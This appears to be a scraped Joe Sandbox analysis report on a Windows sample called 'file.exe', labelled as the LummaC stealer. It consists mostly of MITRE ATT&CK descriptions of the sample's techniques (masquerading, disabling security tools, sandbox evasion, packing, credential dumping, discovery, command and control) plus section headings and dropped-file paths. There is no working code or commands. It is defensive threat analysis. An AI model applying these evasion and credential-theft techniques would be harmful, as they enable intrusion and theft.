Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MMS43LFVAQOG1OXT3FFOALII.exe.log

C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 008EB7C2 Relevance: 1.3, Strings: 1, Instructions: 18
COMMON

Function 00A7C120 Relevance: 4.6, APIs: 3, Instructions: 87
registryCOMMON

Function 04FD0D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 04FD0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04FD1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04FD1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04FD1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04FD1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00A7DFB3 Relevance: 1.5, APIs: 1, Instructions: 7
libraryCOMMON

Function 008EE6DC Relevance: 1.3, APIs: 1, Instructions: 56
memoryCOMMON

Function 008EEEEF Relevance: 1.3, APIs: 1, Instructions: 20
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre